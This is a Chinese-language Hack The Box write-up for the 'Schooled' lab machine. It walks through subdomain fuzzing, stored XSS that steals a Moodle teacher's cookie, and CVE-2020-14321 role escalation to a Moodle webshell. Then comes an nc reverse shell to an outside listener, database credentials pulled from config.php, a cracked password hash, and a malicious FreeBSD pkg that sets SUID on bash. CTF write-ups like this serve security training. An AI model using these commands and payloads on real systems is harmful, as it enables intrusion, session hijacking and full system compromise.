Hackthebox - Schooled

Hackthebox - Schooled 靶场实战

靶场信息

靶场类型

信息搜集

首先使用nmap进行端口扫描

nmap -A -sS -sC -sV 10.10.10.234

我们可以看到,这台靶机开启了22和80端口,咱们的目光依然放到80端口上

首先访问一下80端口的http服务

在底部看到一个schooled.htb,那估计是要解析了,咱们直接先加上吧

在手动浏览以及dirb目录爆破的时候,都没有在web页面中找到啥有趣的东西

咱们结合一下上面看到的提示有一个schooled.htb域名以后,突然来了思路

这不就跟咱们做的Love那一台差不多吗?都是得从子域名入手

所以这个时候使用wfuzz工具进行fuzz

咱们这里发现有很多461行的相应,这明显是不对的,咱们把461行的相应屏蔽掉

wfuzz -c -u “http://schooled.htb/" -H “Host:FUZZ.schooled.htb” -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt –hl 461

咱们找到一个moodle子域名

咱们先修改一下hosts解析

去访问一下http://moodle.schooled.htb/

在这里咱们找到了几个老师的名字

数学老师:Jamie Borham

科学老师:Lianne Carter

信息技术:Jane Higgins

英语老师:Manuel Phillips

然后除了老师的名字和找到了登陆点以外,就没什么有意思的东西了

咱们首先创建个账号,错误有点多,咱们挨个解决

可算是注册好了,还挺麻烦

随便浏览了一下,发现我们只能报数学课(吐槽一下垃圾抢课系统,还好我不用)

我们还能看到老师的简介

我们发现老师有发布一条帖子,我用我的小学三年级靠个位数的天才英语给大家翻译一下

大概意思就是,这是一门自学课程(要老师干啥?),参加我(这位老师)课程的学生,确保设置好了MoodleNet个人资料。没设置的开始课程以后,会被踢出这门课程,老师会挨个儿查看报名该课程的学生

各位在座的盲生,发现了华点没有?

Nice,突破点就在老师表示会挨个检查我们的资料,这不就是确定100%会点击我们的资料了吗?那想到了什么?没错!XSS!

咱们修改好以后,可以看到老师上线了

哎嘿,经过测试,聊天框是可以用xss的

但却是一个反射型xss(国内某平台都不收的垃圾洞,吐槽一下),但是咱们证明了该网站是存在XSS的。结合我们之前的猜测,应该是在MoodleNet处插入xss

漏洞利用

https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md

这是我使用的xss cookie脚本,大家有习惯使用的也可以用自己的

咱们修改好脚本后使用python启动

image
image

然后在MoodleNet处插入我们的xss代码

咱们插入后保存,可以看到自己的cookie已经过来了,咱们挂着去听会儿音乐,老师的cookie就过来

好了,咱们已经成功钓到老师的cookie了

将咱们的cookie替换为老师的cookie

然后刷新

可以看到,已经成功进入老师的权限了

https://moodle.org/mod/forum/discuss.php?d=407393

我们在查找漏洞的时候,发现了这个CVE-2020-14321。

课程中的教师可以把自己的身份更改为经理,也就是越权

现在我们来进行又一次的越权吧

随便选择一个人,然后抓包,然后提交

成功抓到包了

咱们在介绍页面,发现Lianne Carter是一名经理,OK 那就越她

userlist改为24,因为咱们也是越权到老师的账号,所以要修改为老师的ID,而24就是老师的ID,roletoassign处是记录的权限,1为经理,咱们修改为1以后点击send

刷新以后,咱们可以看到,权限已经变成了经理

然后把Lianne Carter添加到学生里,这样我们就能看到 Lianne Carter了。

我之前就是没添加,在这卡了好久,靶机重置了三次

咱们点击Lianne Carter并登入该账号

咱们点击登录

然后咱们在最底下可以看到site administration

咱们点击

接下来咱们按照RCE里的套路跟着走就行

咱们在点save changes之前,记得抓包

然后替换RCE里的包

看来RCE执行成功了

上传咱们的EXP

访问http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block\_rce.php?cmd=id

成功拿到一个webshell

本地使用nc监听端口

nc -nvlp 4444

执行nc反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc 10.10.14.184 4444 > /tmp/f

http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%20|nc%2010.10.14.184%204444%20%3E%20/tmp/f

成功使用nc反弹shell

权限提升

咱们使用pwd查看一下当前位置,发现是在apache目录下

也就是说,咱们拥有apache目录的权限

那就直接读取apache的配置文件吧

首先查找配置文件地址

find / -name “config.php” 2>dev/null

cat /usr/local/www/apache24/data/moodel/config.php

然后使用cat查看配置文件

我发现这么做好像有一点问题,咱们去修改一下RCE

https://github.com/LucifielHack/phpbash

咱们将里面的一句话木马修改为phpbash

成功得到账号密码

dbname = model

dbuser = model

dbpass = PlaybookMaster2020

我想使用mysql进行登录,但输入mysql后发现无法使用?

但上面已经看到了,使用了mysqli进行连接,那就肯定是存在mysql的。

但是为什么无法使用呢?我想应该是path里没有配置,咱们使用export查看一下

果然没有

然后我找了一下mysql的路径,咱们使用绝对路径来进行读取

/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e “use moodle;select * from mdl_user\G”

$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW

其中咱们需要关注的是Jamie的密码hash,为什么呢?因为在/etc/passwd里也有他

既然咱们拿到一个hash了,那么就请出咱们的老朋友 john

爆破成功

密码为 !QAZ2wsx

咱们去登录

ssh jamie@10.10.10.234

成功登录

成功拿到user权限flag

咱们使用sudo -l查看一下sudo权限

可以sudo权限安装pkg包

那不用说,提权思路肯定在这了

http://lastsummer.de/creating-custom-packages-on-freebsd/

找到一篇参考文章,接下来咱们构造EXP包

#!/bin/sh

STAGEDIR=~/stage

rm -rf ${STAGEDIR}

mkdir -p ${STAGEDIR}

cat >> ${STAGEDIR}/+PRE_DEINSTALL <<EOF

careful here, this may clobber your system

echo “Resetting root shell”

pw usermod -n root -s /bin/sh

EOF

cat >> ${STAGEDIR}/+POST_INSTALL <<EOF

careful here, this may clobber your system

echo “Registering root shell”

chmod +s /usr/local/bin/bash

EOF

cat >> ${STAGEDIR}/+MANIFEST <<EOF

name: mypackage

version: “1.0_5”

origin: sysutils/mypackage

comment: “automates stuff”

desc: “automates tasks which can also be undone later”

maintainer: john@doe.it

www: https://doe.it

prefix: /

EOF

mkdir -p ${STAGEDIR}/usr/local/etc

echo “# hello world” > ${STAGEDIR}/usr/local/etc/my.conf

echo “/usr/local/etc/my.conf” > ${STAGEDIR}/plist

pkg create -m ${STAGEDIR}/ -r${STAGEDIR}/ -p ${STAGEDIR}/plist -o .

python3 -m http.server 80

在本地开启一个http服务

然后在服务器上用wget下。。。

嗯?卧槽?失策了,居然没有wget

测试了一下,vim也没有,但是有vi和nano

看大家喜欢用那个,反正直接创建就好了

创建好后记得添加执行权限

chmod +x exploit.sh

然后我们安装它

sudo /usr/sbin/pkg install –no-repo-update mypackage-1.0_5.txz

然后咱们使用SUID来攻击

bash -p

成功提权到root

成功获得root权限的flag

收工睡觉